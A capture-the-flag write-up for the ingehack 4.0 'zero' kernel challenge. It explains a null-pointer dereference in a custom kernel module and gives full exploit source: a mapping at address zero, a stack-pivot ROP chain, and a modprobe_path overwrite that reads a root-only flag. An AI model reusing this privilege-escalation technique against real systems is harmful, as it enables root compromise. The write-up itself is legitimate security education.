zero chall writeup from ingehack 4.0
challenge author: itskarudo
points: 469
desc: translation services are so slow, i want a zero latency translator
for all my important business, so i made one myself, right in the
kernel.
this is a kernel exploitation challenge, we are given three files run.sh, initramfs.cpio.gz, bzImage.
looking at run.sh:
#!/bin/sh
qemu-system-x86_64 \
-m 128M \
-nographic \
-kernel "./bzImage" \
-append "console=ttyS0 quiet loglevel=3 pti=on nokaslr" \
-monitor /dev/null \
-initrd "./initramfs.cpio.gz" \
-cpu qemu64,+smep \
-smp cores=2
we can see that kaslr is not activated and only smep is on.
after extracting initramfs.cpio.gz it has:
bin chal.ko dev etc exploit home init linuxrc mnt proc root sbin sys usr var
there are two important files.
init:
#!/bin/sh
hostname zero
chown -R root:root /
chmod 0700 /root
chown -R user:user /home/user
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devpts -o gid=5,mode=0620 devpts /dev/pts
mount -t devtmpfs -o nosuid,mode=0755 udev /dev
chmod 0400 /root/flag
insmod /chal.ko
chmod 666 /dev/chal
echo 0 > /proc/sys/vm/mmap_min_addr
setsid cttyhack setuidgid 1000 /bin/sh
umount /proc && umount /sys
poweroff -d 0 -f
we can see that it loads chall.ko and runs:
echo 0 > /proc/sys/vm/mmap_min_addr this command make it possible to mmap a page with a virtual address of 0x0 (this will become important later).
now looking into chall.ko using ghidra we see that it uses an ioctl interface to communicate with userland.

this ioctl handler calls functions stored in g_handler (it’s an array of functions).
in zero_open (called when you open the kernel module) we can see that it sets g_handler to lang_table.

In zero_release (called when you close the kernel module) it sets g_handler to 0x0.

The vulnerability:
g_handler is a global variable, meaning it persists when you call open,ioctl,close.
the vulnerability appears when we open two file devices then close one of them, making g_handler == 0x0, but we can still try to use it as a function pointer in zero_ioctl, which will make this a kernel null byte deference vulnerability.
to trigger it:
int fd1 = open("/dev/chal", 0x2);
int fd2 = open("/dev/chal", 0x2); // g_hanler is now equal to lang_table
close(fd1); // g_handler == 0x0
ioctl(fd1, 0x1, 0x0); // this will derefrence g_handler (which is 0x0) and jmp to that address.
Exploitation:
normally, exploiting this would be impossible because of two reasons (both of them are disabled):
- mmap_min_addr: mmap_min_addr is always > 0 (it’s 0x10000 on my machine). which means that userland processes can not map a page into 0x0 address preventing the kernel null byte deference. but in this chall it’s set to 0 by
echo 0 > /proc/sys/vm/mmap_min_addr. - smap: prevents the kernel from accessing userland memory.
so now if we mmap a page at 0x0 and cause the vulnerability we should be able to direct execution anywhere we want by writing the desired address at 0x0.
char* addr = mmap(0x0, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0x0);
// MAP_FIXED is required so it would map the page to 0x0.
*(unsigned long*)0x0=0x41414141;
int fd1 = open("/dev/chal", 0x2);
int fd2 = open("/dev/chal", 0x2);
close(fd1);
ioctl(fd1, 0x1, 0x0);
by running this, we get:

you can see that it faulted at 0x41414141
since smap is disabled we will simply make a rop chain (kaslr is disabled, no need for leak) in userland memory and pivot to it (this surprisingly took a long time to do).
the gadget i chose is: 0xffffffff81037fbf: mov esp, 0x39e8825b; ret
i used kropr to search for this gadget, because ROPGadget gave me gadgets from non executable memory.
after this, i mmap’ed 0x39e88000 and wrote my rop chain in there.
the rop chain overwrites modprobe path to point to /home/user/pwnaa .
here is the final exploit:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <assert.h>
#include <unistd.h>
#include <sys/mman.h>
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
void sigsegv_handler(int sig) {
puts("[*] Returned to userland, setting up for fake modprobe");
system("echo '#!/bin/sh\ncp /root/flag /home/user/flag\nchmod 777 /home/user/flag' > /home/user/pwnaa");
system("chmod +x /home/user/pwnaa");
system("echo -ne '\\xff\\xff\\xff\\xff' > /home/user/dummy");
system("chmod +x /home/user/dummy");
puts("[*] Run unknown file");
system("/home/user/dummy");
puts("[*] Hopefully flag is readable");
system("cat /home/user/flag");
exit(0);
}
unsigned long user_cs, user_ss, user_rflags, user_sp;
unsigned long user_rip = (unsigned long)sigsegv_handler;
void save_state(){
__asm__(
".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
".att_syntax;"
);
puts("[*] Saved state");
}
int main (int argc, char* argv[]) {
signal(SIGSEGV, sigsegv_handler);
char* addr2 = mmap((void*)0x39e88000-0xc000, 0x10000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0x0 );
char* addr = mmap(0x0, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0x0);
*(unsigned long*)0x0=0xffffffff81037fbf; //0xffffffff81037fbf: mov esp, 0x39e8825b; ret;
int fd1 = open("/dev/chal", 0x2);
int fd2 = open("/dev/chal", 0x2);
assert(fd1 != -1);
assert(fd2 != -1);
close(fd2);
save_state();
unsigned long* arr = (unsigned long*)0x39e8825b;
// gadgets:
// 0xffffffff813089e2: mov qword ptr [rsi], rcx ; add bl, ch ; ret
// 0xffffffff81ae90ce: pop rsi; ret
// 0x61616e77702f7265: pop rcx; ret
unsigned long modprobe = 0xffffffff82ed18c0 ;
unsigned long kpti_trampoline = 0xffffffff81e0191e;
unsigned long poprsi = 0xffffffff81ae90ce;
unsigned long poprcx = 0xffffffff81d08613;
unsigned long mov = 0xffffffff813089e2;
size_t off = 0;
arr[off++] = poprsi;
arr[off++] = modprobe;
arr[off++] = poprcx;
arr[off++] = 0x73752f656d6f682f; // /home/us
arr[off++] = mov;
arr[off++] = poprsi;
arr[off++] = modprobe+8;
arr[off++] = poprcx;
arr[off++] = 0x61616e77702f7265; // er/pwnaa
arr[off++] = mov;
arr[off++] = kpti_trampoline;
arr[off++] = 0x0; // dummy rax
arr[off++] = 0x0; // dummy rdi
arr[off++] = user_rip;
arr[off++] = user_cs;
arr[off++] = user_rflags;
arr[off++] = user_sp;
arr[off++] = user_ss;
ioctl(fd1, 1, 0);
}
flag: ingehack{you_can_say_you_have_ZERO_LIMITS!!_badum_tss_🥁}